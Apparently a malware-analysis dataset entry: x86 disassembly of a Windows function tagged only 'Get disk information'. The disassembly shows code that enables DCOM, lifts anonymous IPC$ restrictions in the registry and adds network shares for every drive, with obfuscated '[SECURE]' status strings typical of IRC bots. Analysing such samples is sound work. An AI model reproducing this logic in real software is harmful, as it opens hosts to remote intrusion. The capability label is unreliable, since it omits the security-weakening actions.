Function at 0x425cde
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x254
mov eax, dword [0x44eec4]
test eax, eax
jne 0x426084
mov edx, dword [0x44ed20]
lea eax, [ebp - 0x218]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x2001f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftOLE
mov dword [esp], 0x80000002
call edx
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x425e15
mov word [ebp - 0x21a], 0x59
mov ebx, dword [0x44ed28]
lea eax, [ebp - 0x21a]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov edx, eax
mov eax, dword [ebp - 0x218]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x21a]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.EnableDCOM
mov dword [esp], eax
call ebx
sub esp, 0x18
test eax, eax
setne al
test al, al
je 0x425dd0
lea eax, [ebp - 0x211]
mov dword [eax], 0x4345535b
mov dword [eax + 4], 0x5d455255
mov dword [eax + 8], 0x6e45203a
mov dword [eax + 0xc], 0x656c6261
mov dword [eax + 0x10], 0x4f434420
mov dword [eax + 0x14], 0x6166204d
mov dword [eax + 0x18], 0x64656c69
mov word [eax + 0x1c], 0x2e
jmp 0x425dff
lea eax, [ebp - 0x211]
mov dword [eax], 0x4345535b
mov dword [eax + 4], 0x5d455255
mov dword [eax + 8], 0x4344203a
mov dword [eax + 0xc], 0x65204d4f
mov dword [eax + 0x10], 0x6c62616e
mov dword [eax + 0x14], 0x2e6465
mov edx, dword [0x44ed34]
mov eax, dword [ebp - 0x218]
mov dword [esp], eax
call edx
sub esp, 4
jmp 0x425e67
lea eax, [ebp - 0x211]
mov dword [eax], 0x4345535b
mov dword [eax + 4], 0x5d455255
mov dword [eax + 8], 0x6146203a
mov dword [eax + 0xc], 0x64656c69
mov dword [eax + 0x10], 0x206f7420
mov dword [eax + 0x14], 0x6e65706f
mov dword [eax + 0x18], 0x4f434420
mov dword [eax + 0x1c], 0x6572204d
mov dword [eax + 0x20], 0x74736967
mov dword [eax + 0x24], 0x6b207972
mov dword [eax + 0x28], 0x2e7965
cmp dword [ebp + 0x14], 0
jne 0x425e98
mov dword [esp + 0x10], 1
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x211]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0040c3f1
lea eax, [ebp - 0x211]
mov dword [esp], eax
call fcn.00402bae
mov edx, dword [0x44ed20]
lea eax, [ebp - 0x218]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SYSTEMCurrentControlSetControlLsa
mov dword [esp], 0x80000002
call edx
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x42601b
mov dword [ebp - 0x220], 0
mov ecx, dword [0x44ed28]
mov eax, dword [ebp - 0x218]
mov dword [esp + 0x14], 4
lea edx, [ebp - 0x220]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0
mov dword [esp + 4], str.restrictanonymous
mov dword [esp], eax
call ecx
sub esp, 0x18
test eax, eax
setne al
test al, al
je 0x425fa5
lea eax, [ebp - 0x211]
mov dword [eax], 0x4345535b
mov dword [eax + 4], 0x5d455255
mov dword [eax + 8], 0x6146203a
mov dword [eax + 0xc], 0x64656c69
mov dword [eax + 0x10], 0x206f7420
mov dword [eax + 0x14], 0x65726e75
mov dword [eax + 0x18], 0x69727473
mov dword [eax + 0x1c], 0x61207463
mov dword [eax + 0x20], 0x73656363
mov dword [eax + 0x24], 0x6f742073
mov dword [eax + 0x28], 0x65687420
mov dword [eax + 0x2c], 0x43504920
mov dword [eax + 0x30], 0x68532024
mov dword [eax + 0x34], 0x2e657261
mov byte [eax + 0x38], 0
jmp 0x426002
lea eax, [ebp - 0x211]
mov dword [eax], 0x4345535b
mov dword [eax + 4], 0x5d455255
mov dword [eax + 8], 0x6e55203a
mov dword [eax + 0xc], 0x74736572
mov dword [eax + 0x10], 0x74636972
mov dword [eax + 0x14], 0x61206465
mov dword [eax + 0x18], 0x73656363
mov dword [eax + 0x1c], 0x6f742073
mov dword [eax + 0x20], 0x65687420
mov dword [eax + 0x24], 0x43504920
mov dword [eax + 0x28], 0x68532024
mov dword [eax + 0x2c], 0x2e657261
mov byte [eax + 0x30], 0
mov edx, dword [0x44ed34]
mov eax, dword [ebp - 0x218]
mov dword [esp], eax
call edx
sub esp, 4
jmp 0x4260d9
lea eax, [ebp - 0x211]
mov dword [eax], 0x4345535b
mov dword [eax + 4], 0x5d455255
mov dword [eax + 8], 0x6146203a
mov dword [eax + 0xc], 0x64656c69
mov dword [eax + 0x10], 0x206f7420
mov dword [eax + 0x14], 0x6e65706f
mov dword [eax + 0x18], 0x43504920
mov dword [eax + 0x1c], 0x65722024
mov dword [eax + 0x20], 0x69727473
mov dword [eax + 0x24], 0x6f697463
mov dword [eax + 0x28], 0x6572206e
mov dword [eax + 0x2c], 0x74736967
mov dword [eax + 0x30], 0x6b207972
mov dword [eax + 0x34], 0x2e7965
jmp 0x4260d9
lea eax, [ebp - 0x211]
mov dword [eax], 0x4345535b
mov dword [eax + 4], 0x5d455255
mov dword [eax + 8], 0x6441203a
mov dword [eax + 0xc], 0x69706176
mov dword [eax + 0x10], 0x642e3233
mov dword [eax + 0x14], 0x63206c6c
mov dword [eax + 0x18], 0x646c756f
mov dword [eax + 0x1c], 0x2074276e
mov dword [eax + 0x20], 0x6c206562
mov dword [eax + 0x24], 0x6564616f
mov word [eax + 0x28], 0x2e64
mov byte [eax + 0x2a], 0
cmp dword [ebp + 0x14], 0
jne 0x42610a
mov dword [esp + 0x10], 1
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x211]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0040c3f1
lea eax, [ebp - 0x211]
mov dword [esp], eax
call fcn.00402bae
mov eax, dword [0x44eeec]
test eax, eax
jne 0x4263c0
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, 1
ja 0x42620f
mov eax, dword [ebp - 0xc]
mov edx, dword [eax*8 + 0x43d3a4]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*8 + 0x43d3a0]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], 0
call fcn.00411285
test eax, eax
sete al
test al, al
je 0x426199
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*8 + 0x43d3a0]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._SECURE_:_Share__s_added.
mov dword [esp + 4], 0x200
lea eax, [ebp - 0x211]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
jmp 0x4261c7
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*8 + 0x43d3a0]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._SECURE_:_Failed_to_add__s_share.
mov dword [esp + 4], 0x200
lea eax, [ebp - 0x211]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
cmp dword [ebp + 0x14], 0
jne 0x4261f8
mov dword [esp + 0x10], 1
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x211]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0040c3f1
lea eax, [ebp - 0x211]
mov dword [esp], eax
call fcn.00402bae
add dword [ebp - 0xc], 1
jmp 0x42612c
mov eax, dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
call eax
mov dword [ebp - 0x10], eax
mov byte [ebp - 0x11], 0x41
cmp dword [ebp - 0x10], 0
je 0x426381
mov eax, dword [ebp - 0x10]
and eax, 1
test eax, eax
je 0x42636f
cmp byte [ebp - 0x11], 0x41
je 0x42636f
movsx eax, byte [ebp - 0x11]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x4444dc
mov dword [esp + 4], 0xa
lea eax, [ebp - 0x22a]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
movsx eax, byte [ebp - 0x11]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._c:_
mov dword [esp + 4], 0xa
lea eax, [ebp - 0x234]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
mov edx, dword [0x44ecdc]
lea eax, [ebp - 0x234]
mov dword [esp], eax
call edx
sub esp, 4
cmp eax, 3
sete al
test al, al
je 0x42636f
lea eax, [ebp - 0x234]
mov dword [esp + 8], eax
lea eax, [ebp - 0x22a]
mov dword [esp + 4], eax
mov dword [esp], 0
call fcn.00411285
test eax, eax
sete al
test al, al
je 0x426306
lea eax, [ebp - 0x22a]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._SECURE_:_Share__s_added.
mov dword [esp + 4], 0x200
lea eax, [ebp - 0x211]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
jmp 0x426330
lea eax, [ebp - 0x22a]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._SECURE_:_Failed_to_add__s_share.
mov dword [esp + 4], 0x200
lea eax, [ebp - 0x211]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
cmp dword [ebp + 0x14], 0
jne 0x426361
mov dword [esp + 0x10], 1
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x211]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0040c3f1
lea eax, [ebp - 0x211]
mov dword [esp], eax
call fcn.00402bae
movzx eax, byte [ebp - 0x11]
add eax, 1
mov byte [ebp - 0x11], al
shr dword [ebp - 0x10], 1
jmp 0x42621d
lea eax, [ebp - 0x211]
mov dword [eax], 0x4345535b
mov dword [eax + 4], 0x5d455255
mov dword [eax + 8], 0x654e203a
mov dword [eax + 0xc], 0x726f7774
mov dword [eax + 0x10], 0x6873206b
mov dword [eax + 0x14], 0x73657261
mov dword [eax + 0x18], 0x64646120
mov dword [eax + 0x1c], 0x2e6465
jmp 0x426415
lea eax, [ebp - 0x211]
mov dword [eax], 0x4345535b
mov dword [eax + 4], 0x5d455255
mov dword [eax + 8], 0x654e203a
mov dword [eax + 0xc], 0x69706174
mov dword [eax + 0x10], 0x642e3233
mov dword [eax + 0x14], 0x63206c6c
mov dword [eax + 0x18], 0x646c756f
mov dword [eax + 0x1c], 0x2074276e
mov dword [eax + 0x20], 0x6c206562
mov dword [eax + 0x24], 0x6564616f
mov word [eax + 0x28], 0x2e64
mov byte [eax + 0x2a], 0
cmp dword [ebp + 0x14], 0
jne 0x426446
mov dword [esp + 0x10], 0
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x211]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0040c3f1
lea eax, [ebp - 0x211]
mov dword [esp], eax
call fcn.00402bae
mov eax, 1
mov ebx, dword [ebp - 4]
leave
ret